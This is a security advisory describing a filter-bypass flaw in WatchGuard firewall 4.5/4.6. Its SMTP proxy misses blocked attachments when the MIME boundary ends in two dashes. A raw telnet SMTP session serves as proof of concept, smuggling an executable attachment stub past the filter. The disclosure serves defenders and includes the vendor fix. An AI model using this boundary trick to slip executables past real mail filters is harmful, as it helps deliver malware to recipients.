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Vulnerability WatchGuard Affected WatchGuard 4.5, 4.6 Description Thomas Boll found following. Users have reported that attachments blocked by file extension make it through the SMTP Proxy even if the file extension is on the blocked list (WG 4.6). After some testing we believe that the MIME boundary is responsible for the SMTP Proxy to fail. If the MIME boundary ends in two dashes the Proxy will not correctly identify the attachment. This seems to be typical for FreeBSD based systems. This behaviour can be simply tested on any firewall using the SMTP Proxy denying some attachments based on the filename. Consider the two examples at the end of this message. The reason seems to be obvious, two dashes end the MIME container, which leads to a misinterpretation of the SMTP proxy. # telnet smtpserv 25 Trying xxx.xxx.xxx.xxx... Connected to xxx.xxx.xx. Escape character is '^]'. 220 SMTP service ready helo mydomain.com 250 Requested mail action okay, completed mail from: me@mydomain.com 250 Requested mail action okay, completed rcpt to: me@smtpserv.mydomain.com 250 Requested mail action okay, completed data 354 Start mail input; end with <CRLF>.<CRLF> Content-Type: multipart/mixed; boundary="--sugus" ----sugus Content-Type: application/octet-stream; filename="Calc.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Calc.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA . 250 Requested mail action okay, completed =====> THE ANSWER IS CORECT AS IN: --------------------------------------------------------------- From me@mydomain.com Mon May 28 00:46:37 2001 Return-Path: <me@mydomain.com> Delivered-To: me@smptserv.mydomain.com Content-Type: multipart/mixed; boundary="--sugus" Date: Mon, 28 May 2001 00:45:54 +0200 (CEST) From: mw@mydomain.com ----sugus Content-Type: text/plain; charset=us-ascii [Attachment denied by WatchGuard SMTP proxy (type "application/octet-stream", filename "Calc.exe")] If however the boundary ends in --, the check will fail: ..... Content-Type: multipart/mixed; boundary="--sugus--" ----sugus-- Content-Type: application/octet-stream; filename="Calc.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Calc.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA . 250 Requested mail action okay, completed THE RESULT IS WRONG NOW: ----sugus-- Content-Type: application/octet-stream; filename="Calc.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Calc.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA ... Versions 4.5 and 4.6 have been tested and confirmed vulnerable. It is unknown if other versions are vulnerable also. Solution This bug has been fixed for the latest version of the code (4.61). All current LiveSecurity subscribers can go to http://www.watchguard.com/support to obtain the service pack that addresses this bug (4.61 SP1).